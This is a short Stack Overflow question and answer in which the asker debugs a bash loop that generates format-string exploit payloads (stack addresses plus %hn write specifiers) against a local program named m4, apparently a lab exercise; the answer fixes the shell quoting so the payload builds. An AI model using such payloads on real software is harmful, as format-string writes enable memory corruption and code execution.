Question

I'm having some problem with my shell script:

I want to run my program m4 with different kind of string, I wrote down this script:

#!/bin/bash

for number in $( seq 16 253 )
  do
    num=$((number+2))
    hex_base=$( printf "%X" ${number} )
    hex_offset=$( printf "%X" ${num} )
    ./m4 "`python -c 'print "\x66\x66\x${hex_offset}\xed\xff\xbf\x${hex_base}\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
done

It counts from 10 to FD in hexadecimal and put this values in my string. This error appears:

ValueError: invalid \x escape

First question: is this a real error or just a warning? Second question: why if all the value are made of two characters in the address you should see in the string, the error however appears?

Was it helpful?

Solution

Should work when you take the hex_base out of single quotes:

./m4 "`python -c 'print "\x66\x66\x'${hex_offset}'\xed\xff\xbf\x'${hex_base}'\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top